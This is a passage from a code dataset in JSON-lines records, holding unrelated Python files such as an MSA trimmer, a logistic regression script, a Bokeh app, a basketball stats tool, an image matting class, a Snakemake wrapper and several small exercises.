'.']\n if not remove_all_gaps:\n candidate_columns_to_remove = self.msa_columns_beyond_max_gap()\n # find out MSA columns that does correspond to gaps w.r.t the sequence\n # in MSA that matches with the reference\n logger.info('\\n\\tNumber of columns with more than {0:.2f}% gaps:{1}'\n ''.format(self.__max_gap* 100, len(candidate_columns_to_remove))\n )\n columns_to_remove = [\n i for i in candidate_columns_to_remove if first_matching_seq[i] in gap_symbols\n ]\n logger.info('\\n\\tNumber of columns to remove: {}'.format(len(columns_to_remove)))\n else: # if remove all gaps\n logger.info('\\n\\tRemoving all columns corresponding to gaps in the matching sequence')\n seqs_len = len(self.__alignment_data[0].seq)\n columns_to_remove = [\n i for i in range(seqs_len) if first_matching_seq[i] in gap_symbols\n ]\n logger.info('\\n\\tNumber of columns to be removed from MSA:{}'.format(\n len(columns_to_remove))\n )\n\n return tuple(columns_to_remove)\n\n \n def get_msa_trimmed_by_refseq(self, remove_all_gaps=False):\n \"\"\"\n \"\"\"\n columns_to_remove = self.trim_by_refseq(remove_all_gaps=remove_all_gaps)\n trimmed_msa = list()\n for record in self.__alignment_data:\n seq, seqid = record.seq, record.id\n trimmed_seq = [seq[i] for i in range(len(seq)) if i not in columns_to_remove]\n id_seq_pair = seqid, ''.join(trimmed_seq) \n trimmed_msa.append(id_seq_pair)\n return trimmed_msa\n\n","sub_path":"pydca/msa_trimmer/msa_trimmer.py","file_name":"msa_trimmer.py","file_ext":"py","file_size_in_byte":7645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"13519783","text":"#coding: utf-8\n\ndef mult(m,n) : \n\tdef loop (n, result):\n\t\tif n <= 0 : \n\t\t\treturn result\n\t\telse : \n\t\t\treturn loop(n-1, result + m)\n\n\treturn loop(n, 0)\n\n\nm = int(input(\"m?\"))\nn = int(input(\"n?\"))\nprint(mult(m,n))\n","sub_path":"Day5/2-1.py","file_name":"2-1.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"601191159","text":"import numpy as np \r\nimport pandas as pd \r\nfrom matplotlib import pyplot as plt \r\nimport pathlib\r\ndata = pd.read_csv(str(pathlib.Path(__file__).parent.absolute()) + \"\\ex2data1.txt\")\r\nt = [0,0,0]\r\ndata[\"x0\"] = np.ones(len(data))\r\ndef plot():\r\n admitted = data[data[\"y\"]==1]\r\n not_admitted = data[data[\"y\"]==0]\r\n plt.scatter(admitted[\"x1\"],admitted[\"x2\"])\r\n plt.scatter(not_admitted[\"x1\"],not_admitted[\"x2\"])\r\n plt.legend(loc = \"upper right\",labels = [\"Admitted\",\"NotAdmitted\"])\r\n plt.show()\r\ndef g(z):\r\n return 1/(1+np.exp(-z))\r\ndef h(i):\r\n return g(t[0] + t[1] * data[\"x1\"][i] + t[2] * data[\"x2\"][i])\r\ndef j():\r\n s = 0\r\n for i in range(len(data)):\r\n s+= (data[\"y\"][i]*np.log(h(i)+0.0000001)) - (1-data[\"y\"][i])*np.log(1-h(i)+0.0000001)\r\n return 1/len(data)*s\r\ndef gradientdescent(t,alpha):\r\n temp = [0,0,0]\r\n s = [0,0,0]\r\n for j in range(len(t)):\r\n for i in range(len(data)):\r\n s[j]+= (h(i) - data[\"y\"][i])*data[\"x\"+str(j)][i]\r\n for j in range(len(t)):\r\n temp[j] = t[j] - alpha/len(data)*s[j]\r\n return temp\r\nepochs = 400\r\nfor i in range(epochs):\r\n t = gradientdescent(t,0.001)\r\ncorrect = 0\r\nfor i in range(len(data)):\r\n if h(i)>0.5:\r\n if data[\"y\"][i] == 1:\r\n correct+=1\r\n elif h(i)<=0.5:\r\n if data[\"y\"][i] == 0:\r\n correct +=1\r\nprint(correct/len(data)*100)\r\n","sub_path":"Logistic_Regression.py","file_name":"Logistic_Regression.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"489970649","text":"import os\nimport json\nfrom bokeh.server.server import Server\nfrom tornado.ioloop import IOLoop\nfrom dataspot.visualization.visual_builder import VisualBuilder\nfrom dataspot.visualization.visual_helper import VisualHelper\nfrom dataspot.scripts.script_grouper import ScriptGrouper\nfrom dataspot.relationships.relationships_director import RelationshipsDirector\nfrom dataspot.relationships.import_director import ImportDirector\nfrom dataspot.relationships.writer.text_file_writer import TextFileWriter\n\nroot = os.path.abspath(os.sep)\nparser_config_path = os.path.join(root, 'dataspot/parser_config.json')\n\nconfig_path = os.path.join(root, 'app/data/config/dataspot_config.json')\nconfig_present = os.path.isfile(config_path)\n\nresults_path = os.path.join(root, 'app/data/results/dataspot_results.json')\nresults_present = os.path.isfile(results_path)\n\nscripts_present = os.listdir(os.path.join(root, 'app/data/scripts'))\n\nexcel_path = os.path.join(root, 'app/data/excel')\nexcel_present = os.listdir(excel_path)\n\nmanual_relationships_path = os.path.join(root, 'app/data/manual/manual_relationships.json')\nmanual_relationships_present = os.path.isfile(results_path)\n\n\nif results_present:\n f = open(results_path)\n relationships = json.load(f)\n f.close()\nelse:\n if scripts_present:\n scripts_path = os.path.join(root, 'app/data/scripts')\n else:\n scripts_path = os.path.join(root, 'app/example/scripts')\n\n scripts = ScriptGrouper.group(scripts_path=scripts_path)\n relationships = RelationshipsDirector.build(scripts=scripts, parser_config_path=parser_config_path)\n\n if not scripts_present:\n print('Oeps, no scripts present. I will take the example scripts')\n f = open(os.path.join(root, 'app/example/manual/manual_relationships.json'))\n manual_relationships = json.load(f)\n f.close()\n relationships = {**relationships, **manual_relationships}\n\n excel_path_example = os.path.join(root, 'app/example/excel')\n\n import_director = ImportDirector(relationships=relationships)\n import_director.build(path=excel_path_example)\n relationships = import_director.get_relationships()\n\n else:\n if manual_relationships_present:\n print('I am reading the manual relationships')\n f = open(manual_relationships_path)\n manual_relationships = json.load(f)\n f.close()\n relationships = {**relationships, **manual_relationships}\n\n if excel_present:\n print('I am reading the excel files')\n import_director = ImportDirector(relationships=relationships)\n import_director.build(path=excel_path)\n relationships = import_director.get_relationships()\n\n results_path = os.path.join(root, 'app/data/results')\n relationships_path = TextFileWriter.write(results_path=results_path, data=relationships,\n title='dataspot_results', timestamp=False, extension='json')\n print(\"Here are the new relationships located from now on: \" + relationships_path)\n\nif config_present:\n f = open(config_path)\n config = json.load(f)\n f.close()\nelse:\n f = open(os.path.join(root, 'dataspot/dataspot_config.json'))\n config = json.load(f)\n f.close()\n\n\ndef modify_doc(doc):\n visualbuilder = VisualBuilder(config=config, relationships=relationships)\n\n # Setup the working document\n doc = VisualHelper.setup_doc(doc)\n\n # Setup the visualization\n visualbuilder.build()\n\n # Add the visualization to the working document\n doc.add_root(visualbuilder.get_visual())\n\n\ndef bk_worker():\n server = Server({'/bkapp': modify_doc}, io_loop=IOLoop(), allow_websocket_origin=[\"0.0.0.0:5000\"])\n server.start()\n server.io_loop.start()\n\n\nfrom threading import Thread\nThread(target=bk_worker).start()","sub_path":"dataspot-bokeh/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"456703378","text":"\"\"\"\nPython Web Development Techdegree\nProject 2 - Basketball Team Stats Tool\n--------------------------------------\n\"\"\"\n\n\nfrom constants import PLAYERS, TEAMS\nimport copy\nimport os\nimport random\nfrom typing import Any, Dict, List, Tuple\n\n\nMENU_OPTIONS = ['Display Team Stats', 'Quit']\n\n\ndef clear_console() -> None:\n \"\"\"Clears the console\"\"\"\n os.system('cls' if os.name == 'nt' else 'clear')\n\n\ndef display_options(options: List) -> None:\n \"\"\"Iterate over a collection and prints out the index and value\"\"\"\n for count, option in enumerate(options):\n print(f'{count + 1}) {option}')\n\n\ndef display_menu(title: str, options: List) -> None:\n \"\"\"Displays a menu\"\"\"\n clear_console()\n print('BASKETBALL TEAM STATS TOOL\\n')\n print(f'---- {title} ----\\n')\n\n display_options(options)\n\n\ndef prompt_user(prompt_msg: str, num_options: int) -> int:\n \"\"\"Prompts the user for an option (int) between 1 and 'num_options'\n Returns the user response\n \"\"\"\n MIN_OPTION = 1\n MAX_OPTION = num_options\n\n while True:\n try:\n user_input = int(input(prompt_msg))\n\n if user_input < MIN_OPTION or user_input > MAX_OPTION:\n raise ValueError(f'Please only a option between {MIN_OPTION} and {MAX_OPTION}')\n except ValueError as err:\n print(f'Invald input: {err}')\n else:\n return user_input\n\n\ndef cleaned_data() -> List:\n \"\"\"Cleans the PLAYERS data\n Converts the height into an integer\n Converts experience into a boolean (True/False)\n Converts guardians into a list of names\n Returns a set containing the cleaned PLAYERS data\n \"\"\"\n players: List[Dict[str, Any]] = copy.deepcopy(PLAYERS)\n\n for player in players:\n try:\n player[\"height\"] = int(player[\"height\"][:2])\n except ValueError as err:\n print(f'Error: {err}')\n else:\n if player[\"experience\"] == \"YES\":\n player[\"experience\"] = True\n else:\n player[\"experience\"] = False\n\n player[\"guardians\"] = player[\"guardians\"].split(' and ')\n\n return players\n\n\ndef get_avg_height(team: List) -> float:\n \"\"\"Calculates the average height of a team\"\"\"\n return sum([player[\"height\"] for player in team]) / len(team)\n\n\ndef extract_players(players: List, experienced: bool) -> List:\n \"\"\"Extracts players depending on their experience\n Returns the extracted players\n \"\"\"\n return [player for player in players if player[\"experience\"] == experienced]\n\n\ndef create_team(players: List) -> Tuple[List, List]:\n \"\"\"Creates a balanced team with equal numbers of experiencd and inexperienced players\n Players added to the team is randomly picked\n Returns the created team and the remaining players\n \"\"\"\n exp_players = extract_players(players, True)\n inexp_players = extract_players(players, False)\n\n # selects 6 players randomly\n # 3 experienced players and 3 inexperienced players\n team = random.sample(exp_players, k=3) + random.sample(inexp_players, k=3)\n\n # removes the picked players from the list of available players\n players = [player for player in players if player not in team]\n\n return (team, players)\n\n\ndef generate_teams() -> Tuple[List, List, List]:\n \"\"\"Generates the teams\"\"\"\n players = cleaned_data()\n\n panthers, players = create_team(players)\n bandits, players = create_team(players)\n warriors, players = create_team(players)\n\n return (panthers, bandits, warriors)\n\n\ndef display_team_stats(team: List) -> None:\n \"\"\"Display the stats of a team\"\"\"\n exp_players = [player for player in team if player[\"experience\"] == True]\n num_exp_players = len(exp_players)\n \n print(f'Total players: {len(team)}')\n print(f'Average height: {get_avg_height(team)}')\n print(f'Number of experienced players: {num_exp_players}')\n print(f'Number of inexperienced players: {len(team) - num_exp_players}')\n\n\ndef display_names(title: str, names_list: List) -> None:\n \"\"\"Display names in a list\"\"\"\n print(f'\\n{title}:')\n print(f'\\t{\", \".join(names_list)}')\n\n\ndef display_team(team_name: str, team: List) -> None:\n \"\"\"Display a team\"\"\"\n players = [player[\"name\"] for player in team]\n guardians = [guardian for player in team for guardian in player[\"guardians\"]]\n\n clear_console()\n print(f'TEAM: {team_name}')\n print('----------------')\n display_team_stats(team)\n display_names('Players on team', players)\n display_names('Guardians', guardians)\n input('\\nPress ENTER to continue...')\n\n\ndef start() -> None:\n \"\"\"Main function that runs the program\"\"\"\n still_running = True\n teams = generate_teams()\n\n while still_running:\n display_menu('MENU', MENU_OPTIONS)\n user_input = prompt_user('\\nEnter option: ', len(MENU_OPTIONS))\n\n if user_input == 2:\n still_running = False\n elif user_input == 1:\n checking_teams = True\n\n while checking_teams:\n team_menu = TEAMS + ['Main menu']\n display_menu('TEAMS', team_menu)\n\n user_input = prompt_user('\\nEnter team: ', len(team_menu))\n\n if user_input == 4:\n checking_teams = False\n else:\n idx = user_input - 1\n display_team(TEAMS[idx], teams[idx])\n\n\nif __name__ == '__main__':\n start()\n\n","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"35178994","text":"from . import loadf\nfrom .interactive import console\nfrom .parser import StekkSyntaxError, parse\nfrom .vm import VM\nimport sys\n\nif len(sys.argv) == 1:\n console()\nelif len(sys.argv) > 1:\n filenames = sys.argv[1:]\n vm = VM([])\n for filename in filenames:\n try:\n statements = loadf(filename).statements\n vm.statements.extend(statements)\n except FileNotFoundError:\n print(\"File not found:\", filename)\n exit(1)\n except StekkSyntaxError as e:\n print(e.error)\n exit(2)\n vm.run()\n console(vm)","sub_path":"stekk/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"632788203","text":"import cv2\r\nfrom PIL import Image\r\nimport numpy as np\r\n\r\n'''\r\npython利用蒙版抠图 \r\nhttps://www.cxyzjd.com/article/qq_29391809/106036745\r\n输入原图和mask图片，输出背景透明的图片\r\n'''\r\n\r\n\r\nclass UnsupportedFormat(Exception):\r\n def __init__(self, input_type):\r\n self.t = input_type\r\n\r\n def __str__(self):\r\n return \"不支持'{}'模式的转换，请使用为图片地址(path)、PIL.Image(pil)或OpenCV(cv2)模式\".format(self.t)\r\n\r\n\r\nclass MatteMatting():\r\n def __init__(self, original_graph, mask_graph, input_type='path'):\r\n \"\"\"\r\n 将输入的图片经过蒙版转化为透明图构造函数\r\n :param original_graph:输入的图片地址、PIL格式、CV2格式\r\n :param mask_graph:蒙版的图片地址、PIL格式、CV2格式\r\n :param input_type:输入的类型，有path：图片地址、pil：pil类型、cv2类型\r\n \"\"\"\r\n if input_type == 'path':\r\n self.img1 = cv2.imread(original_graph)\r\n self.img2 = cv2.imread(mask_graph)\r\n elif input_type == 'pil':\r\n self.img1 = self.__image_to_opencv(original_graph)\r\n self.img2 = self.__image_to_opencv(mask_graph)\r\n elif input_type == 'cv2':\r\n self.img1 = original_graph\r\n self.img2 = mask_graph\r\n else:\r\n raise UnsupportedFormat(input_type)\r\n\r\n @staticmethod\r\n def __transparent_back(img):\r\n \"\"\"\r\n :param img: 传入图片地址\r\n :return: 返回替换白色后的透明图\r\n \"\"\"\r\n img = img.convert('RGBA')\r\n L, H = img.size\r\n color_0 = (255, 255, 255, 255) # 要替换的颜色\r\n for h in range(H):\r\n for l in range(L):\r\n dot = (l, h)\r\n color_1 = img.getpixel(dot)\r\n if color_1 == color_0:\r\n color_1 = color_1[:-1] + (0,)\r\n img.putpixel(dot, color_1)\r\n return img\r\n\r\n def save_image(self, path, mask_flip=False):\r\n \"\"\"\r\n 用于保存透明图\r\n :param path: 保存位置\r\n :param mask_flip: 蒙版翻转，将蒙版的黑白颜色翻转;True翻转;False不使用翻转\r\n \"\"\"\r\n if mask_flip:\r\n img2 = cv2.bitwise_not(self.img2) # 黑白翻转\r\n image = cv2.add(self.img1, img2)\r\n image = Image.fromarray(cv2.cvtColor(image, cv2.COLOR_BGR2RGB)) # OpenCV转换成PIL.Image格式\r\n img = self.__transparent_back(image)\r\n img.save(path)\r\n\r\n @staticmethod\r\n def __image_to_opencv(image):\r\n \"\"\"\r\n PIL.Image转换成OpenCV格式\r\n \"\"\"\r\n img = cv2.cvtColor(np.asarray(image), cv2.COLOR_RGB2BGR)\r\n return img\r\n \r\nif __name__ == '__main__':\r\n \r\n mm = MatteMatting(\"2.png\", \"mask.jpg\")\r\n mm.save_image(\"output.png\", mask_flip=True) # mask_flip是指蒙版翻转，即把白色的变成黑色的，黑色的变成白色的","sub_path":"get_transparet_background_image.py","file_name":"get_transparet_background_image.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"180124809","text":"# CompetitiveProgramming\n\ndef get_max_profit(stock_prices):\n\n # Calculate the max profit\n\tif len(stock_prices) > 2:\n\t\tresult = -1000000\n\t\tfor x in range(0,len(stock_prices)-1):\n\t\t\tfor y in range(x+1,len(stock_prices)):\n\t\t\t\tsum = stock_prices[y] - stock_prices[x]\n\t\t\t\tif sum > result:\n\t\t\t\t\tresult = sum\n\t\treturn result\n\tif len(stock_prices) < 2:\n\t\traise Exception (\"invalid input\")\n\n\n\n# Tests\n\nimport unittest\n\nclass Test(unittest.TestCase):\n\n def test_price_goes_up_then_down(self):\n actual = get_max_profit([1, 5, 3, 2])\n expected = 4\n self.assertEqual(actual, expected)\n\n def test_price_goes_down_then_up(self):\n actual = get_max_profit([7, 2, 8, 9])\n expected = 7\n self.assertEqual(actual, expected)\n\n def test_price_goes_up_all_day(self):\n actual = get_max_profit([1, 6, 7, 9])\n expected = 8\n self.assertEqual(actual, expected)\n\n def test_price_goes_down_all_day(self):\n actual = get_max_profit([9, 7, 4, 1])\n expected = -2\n self.assertEqual(actual, expected)\n\n def test_price_stays_the_same_all_day(self):\n actual = get_max_profit([1, 1, 1, 1])\n expected = 0\n self.assertEqual(actual, expected)\n\n def test_one_price_raises_error(self):\n with self.assertRaises(Exception):\n get_max_profit([1])\n\n def test_empty_list_raises_error(self):\n with self.assertRaises(Exception):\n get_max_profit([])\n\nunittest.main(verbosity=2)\n","sub_path":"week-1/day-1/appleStocks.py","file_name":"appleStocks.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"116586731","text":"\"\"\"Snakemake wrapper for vembrane\"\"\"\n\n__author__ = \"Christopher Schröder\"\n__copyright__ = \"Copyright 2020, Christopher Schröder\"\n__email__ = \"christopher.schroeder@tu-dortmund.de\"\n__license__ = \"MIT\"\n\nfrom snakemake.shell import shell\n\nlog = snakemake.log_fmt_shell(stdout=False, stderr=True)\n\nextra = snakemake.params.get(\"extra\", \"\")\n\nshell(\n \"vembrane\" # Tool and its subcommand\n \" {extra}\" # Extra parameters\n ' \"{snakemake.params.expression}\"'\n \" {snakemake.input.vcf}\" # Path to input vcf file\n \" > {snakemake.output.vcf}\" # Path to output vcf file\n \" {log}\" # Logging behaviour\n)\n","sub_path":"bio/vembrane/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"458331106","text":"#coding=utf-8\n#Head_First_Python第一章-为函数增加第三个参数\n#我们发现有的人并不喜欢用TAB来进行制表那么我们在参数中添加了第三个关键值indent\ndef print_lol(the_list,indent=False,level=0): #增加一个名为indent的参数,默认为False(假)\n for each_item in the_list:\n if isinstance(each_item,list):\n print_lol(each_item,indent,level+1) #!!!同1.6一样,我们在递归调用中添加新添加的参数值\n else:\n if indent: #我们判断indent 是真(True)或假(False) 这全看调用函数时传递的参数\n #print_lol(movies,0)0代表假,如果是这样则不执行\n #print_lol(movies,1~n)代表真超过0的值都代表真,代表真的情况下会继续执行下面代码块\n for tab_stop in range(level):\n print ('\\t', end='')\n print (each_item)\n \nmovies = [\"The hold Graill\", 1975 ,\"Terry Jones & Terry Gilliam\", 91,\\\n [\"Graham Chapman\",[\"Micheal Palin\", \"John Cleese\",\"Terry Gilliam\",\\\n \"Eric Idie\", \"Terry Jones\"]]]\n\nprint_lol(movies,1)","sub_path":"1.7.py","file_name":"1.7.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"603564367","text":"import re\nimport requests\n\nroot = 'https://avio.pw/cn/'\nkeywords = 'f'\nurl = root + keywords\nr = requests.get(url)\nr.raise_for_status()\nr.encoding = r.apparent_encoding\n#print(r.text)\npattern=re.compile(r'https://jp.netcdn.space/digital/video/.*?jpg',re.S)\na=re.findall(pattern,r.text)\nprint(a)","sub_path":"5.24.py","file_name":"5.24.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"411444130","text":"# Written by: Akshay Gangal\n# Tested by: Akshay Gangal\n\nimport numpy as np\nimport pandas as pd\nimport math\nimport random\nimport Common\nfrom scipy.stats import truncnorm\n\n## EntrySet - Class for combining entries from multiple datasets and minimzing errors added during generation \n#\nclass EntrySet:\n ## The constructor.\n # @param self The object pointer\n def __init__(self):\n H = Common.Helper()\n self.NormDistribution = np.zeros((len(H.GetZoneMap()),len(H.GetCusineMap()),10))\n self.Cusine_val = [0] * len(H.GetCusineMap())\n self.Current_subset = 0\n\n\n ## Validate rounding correction result.\n # @param self The object pointer\n # arr1 Array to validate the sum of\n # total_arr Expected value array\n def ValidateCorrection(self, arr1, total_arr):\n for row in range(0,len(arr1)):\n assert (sum(arr1[row]) == total_arr[row]),\"Rounding correction failed!!!\"\n\n\n # Calculate normalized weights for each cusine category\n # and get the scaled number of entries of each type\n def GenerateCusineDistribution(self):\n H = Common.Helper()\n num_entries = H.GetNumSubsetEntries()\n for val in range(0, len(H.GetCusineMap())):\n self.Cusine_val[val] = math.floor(float(num_entries)/len(H.GetCusineMap()))\n\n # Correct the error generated due to rounding\n H.RoundingCorrection(self.Cusine_val,num_entries,len(self.Cusine_val))\n\n\n ## Generate Truncated Normal distribution of values for input Zone type\n # @param self The object pointer\n # ZoneEntry Table of input values to generate normal distribution on\n # Zone_type Type of Zone used for normalization\n def GenerateTruncatedNormal(self,ZoneEntry):\n H = Common.Helper()\n sd = 5\n for Zone in range(0,len(ZoneEntry[0])):\n for cusine in range(0,len(ZoneEntry)):\n mean_old = ZoneEntry[cusine][Zone]\n low = mean_old - sd\n high = mean_old + sd\n X = truncnorm((low - mean_old) / sd, (high - mean_old) / sd, loc=mean_old, scale=sd)\n self.NormDistribution[Zone][cusine] = np.round(X.rvs(10),2)\n\n ## Get input data for Zone distribution vs Cusine type from csv file\n # @param self The object pointer\n def GetEntrySet(self):\n H = Common.Helper()\n\n ## @var df - Pandas Data frame to get Zone entries from csv file\n #\n df = pd.read_csv('Food_Location.csv')\n\n num_rows_zone = df.shape[0]\n num_columns_zone = df.shape[1]\n\n ## @var ZoneEntry - numpy array: Food category vs Zone list\n #\n ZoneEntry = np.zeros((num_rows_zone, num_columns_zone - 1))\n for row in range(0,num_rows_zone):\n for column in range(1,num_columns_zone):\n ZoneEntry[row][column-1] = int(df.iloc[row][column] * 100)\n\n return ZoneEntry\n\n ## Read and compute Zone entry count Tables\n # @param self The object pointer\n def CreateNormalizedSet(self,ZoneEntry,entryset):\n H = Common.Helper()\n num_entries = H.GetNumSubsetEntries()\n DistInc = H.GetDistIncrease()\n DistDec = H.GetDistDecrease()\n DistGaus = H.GetDistGaussian()\n\n column_list = []\n # Increase\n for key,val in DistInc.items():\n row = H.GetKeyByValue(H.GetCusineMap(),(H.GetKeyByValue(H.GetCusineType(),key,False)),True)\n column = H.GetKeyByValue(H.GetZoneMap(),val,True)\n if column not in column_list:\n column_list.append(column)\n if entryset == 0:\n ZoneEntry[row][column] = round(min(self.NormDistribution[column][row]),2)\n elif entryset == 1:\n ZoneEntry[row][column] = round(sorted(self.NormDistribution[column][row])[1],2)\n elif entryset == 3:\n ZoneEntry[row][column] = round(sorted(set(self.NormDistribution[column][row]))[-2],2)\n elif entryset == 4:\n ZoneEntry[row][column] = round(max(self.NormDistribution[column][row]),2)\n elif entryset != 2:\n assert(0),\"Invalid entry set\"\n\n # Gaussian\n for key,val in DistGaus.items():\n row = H.GetKeyByValue(H.GetCusineMap(),(H.GetKeyByValue(H.GetCusineType(),key,False)),True)\n column = H.GetKeyByValue(H.GetZoneMap(),val,True)\n if column not in column_list:\n column_list.append(column)\n if entryset == 0 or entryset == 4:\n ZoneEntry[row][column] = round(min(self.NormDistribution[column][row]),2)\n elif entryset == 1 or entryset == 3:\n ZoneEntry[row][column] = round(sorted(self.NormDistribution[column][row])[1],2)\n elif entryset != 2:\n assert(0),\"Invalid entry set\"\n\n # Decrease\n for key,val in DistDec.items():\n row = H.GetKeyByValue(H.GetCusineMap(),(H.GetKeyByValue(H.GetCusineType(),key,False)),True)\n column = H.GetKeyByValue(H.GetZoneMap(),val,True)\n if column not in column_list:\n column_list.append(column)\n if entryset == 0:\n ZoneEntry[row][column] = round(max(self.NormDistribution[column][row]),2)\n elif entryset == 1:\n ZoneEntry[row][column] = round(sorted(set(self.NormDistribution[column][row]))[-2],2)\n elif entryset == 3:\n ZoneEntry[row][column] = round(sorted(self.NormDistribution[column][row])[1],2)\n elif entryset == 4:\n ZoneEntry[row][column] = round(min(self.NormDistribution[column][row]),2)\n elif entryset != 2:\n assert(0),\"Invalid entry set\"\n\n ## Adjust the remaining entries\n sum_val = 0\n for row in range(0,len(ZoneEntry)):\n sum_val = sum(ZoneEntry[row])\n if 100 - sum_val >= 0:\n error = 100 - sum_val\n error1 = int(error)\n delta = error - error1\n while error1 > 0:\n column_val = random.randint(0,len(ZoneEntry[0])-1)\n if column_val not in column_list:\n ZoneEntry[row][column_val] += 1\n error1 -= 1\n column_val = random.randint(0,len(ZoneEntry[0])-1)\n ZoneEntry[row][column_val] += delta \n else:\n error = sum_val - 100\n error1 = int(error)\n delta = error - error1\n while error1 > 0:\n column_val = random.randint(0,len(ZoneEntry[0])-1)\n if column_val not in column_list:\n ZoneEntry[row][column_val] -= 1\n error1 -= 1\n column_val = random.randint(0,len(ZoneEntry[0])-1)\n ZoneEntry[row][column_val] -= delta\n\n assert (sum(ZoneEntry[row]) == 100), \"Incorrect adjustment for remaining entries\"\n\n # Add rounding correction\n for row in range(0,len(ZoneEntry)):\n for column in range(0,len(ZoneEntry[0])):\n ZoneEntry[row][column] = math.floor((ZoneEntry[row][column] * self.Cusine_val[row])/100)\n H.RoundingCorrection(ZoneEntry[row],self.Cusine_val[row],len(ZoneEntry[row]))\n\n # Validate rounding correction\n self.ValidateCorrection(ZoneEntry,self.Cusine_val)\n\n max_length = 0;\n for key,val in H.GetCusineType().items():\n if len(val) > max_length:\n max_length = len(val)\n\n # Add rounding correction\n Cusine_Entry = np.zeros((len(H.GetCusineMap()),len(H.GetZoneMap()),max_length))\n for row in range(0,len(ZoneEntry)): \n Cusine_len = len(H.GetCusineType().get((H.GetCusineMap().get(row))))\n for column in range(0,len(ZoneEntry[0])):\n for val in range(0,Cusine_len):\n Cusine_Entry[row][column][val] = math.floor(ZoneEntry[row][column]/Cusine_len)\n H.RoundingCorrection(Cusine_Entry[row][column],ZoneEntry[row][column],Cusine_len)\n # Validate rounding correction\n self.ValidateCorrection(Cusine_Entry[row],ZoneEntry[row])\n #print(\"\\nError corrected Zone distribution\\n\")\n #print(ZoneEntry)\n\n #return ZoneEntry\n return Cusine_Entry,max_length\n","sub_path":"1_code/TimeVariation/TimeVariation/GenerateEntrySet.py","file_name":"GenerateEntrySet.py","file_ext":"py","file_size_in_byte":8379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"275556402","text":"import sys\nimport argparse\nimport json\n\nparser = argparse.ArgumentParser()\nparser.add_argument('path', type=str, default='There is no path', help='This is the file path')\narg_obj = parser.parse_args()\npath = arg_obj.path\nprint(path)\n\n\nwith open(path) as file_ob:\n data_json = json.load(file_ob)\n\nprint(data_json)","sub_path":"first_class_assignment/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"211892015","text":"def answer(total_lambs):\n \n # Here's how I solved it..\n \n # From the promblem we know:\n # MIN Paycheck = sum of previous 2 paychecks\n # MAX Paycheck = x2 previous paycheck\n \n # I wrote the function \"calc_paychecks\" that\n # builds lists of paychecks from these rules. \n \n # ex. total_lambs = 5\n # min_paychecks = [1, 1, 2]\n # max_paychecks = [1, 2]\n\n # The function also handles remaining lambs.\n # When remaining lambs CANNOT pay a FULL paycheck\n # but CAN pay more at least the min_paycheck - \n # then henchmen is still hired.\n \n # ex. total_lambs = 6\n # min_paychecks = [1, 1, 2]\n # max_paychecks = [1, 2, 3] <- 3 is remainder\n\n def calc_paychecks(total_lambs, max_min):\n\n # Problem says first paycheck is 1 lamb \n paychecks = [0,1]\n \n # While there's money left keep hiring henchmen\n while sum(paychecks) < total_lambs:\n # Previous two paychecks\n prev_paycheck_1 = paychecks[-1]\n prev_paycheck_2 = paychecks[-2]\n # Maxmum / Minimum possible paychecks\n max_paycheck = prev_paycheck_1 * 2\n min_paycheck = prev_paycheck_1 + prev_paycheck_2\n \n if max_min == \"max\":\n paycheck = max_paycheck\n elif max_min == \"min\":\n paycheck = min_paycheck\n \n remainder = total_lambs - sum(paychecks)\n \n # If remainder can pay FULL salary...\n if remainder >= paycheck:\n paychecks.append(paycheck)\n continue\n # If remainder CANNOT pay FULL salary\n # but CAN pay more than min_paycheck...\n elif remainder >= min_paycheck:\n if max_min == \"max\":\n paychecks.append(remainder)\n elif max_min == \"min\":\n paychecks.append(min_paycheck)\n # If remainder CANNOT pay more than min_paycheck\n # We're outta lambs, can't afford another paycheck.\n else:\n break\n \n return paychecks\n\n # Find MAX and MIN number of paychecks\n min_paychecks = calc_paychecks(total_lambs, \"min\")\n max_paychecks = calc_paychecks(total_lambs, \"max\")\n\n # Solution is min-cost-solution minus max-cost-solution!\n solution = len(min_paychecks) - len(max_paychecks)\n\n return solution\n \n","sub_path":"level2/lovely_lucky_lambs.py","file_name":"lovely_lucky_lambs.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"38660217","text":"import csv\nfrom datetime import date\nfrom django.core.management.base import BaseCommand\nfrom phones.models import Phone\n\n\nclass Command(BaseCommand):\n def add_arguments(self, parser):\n pass\n\n def handle(self, *args, **options):\n with open('phones.csv', 'r') as csvfile:\n for line in csv.DictReader(csvfile, delimiter=';'):\n try:\n line['price'] = int(line['price'])\n line['release_date'] = date.fromisoformat(line['release_date'])\n line['lte_exists'] = line['lte_exists'] == 'True'\n except (ValueError, KeyError):\n continue\n if None in line:\n del(line[None])\n phone = Phone(**dict(line))\n 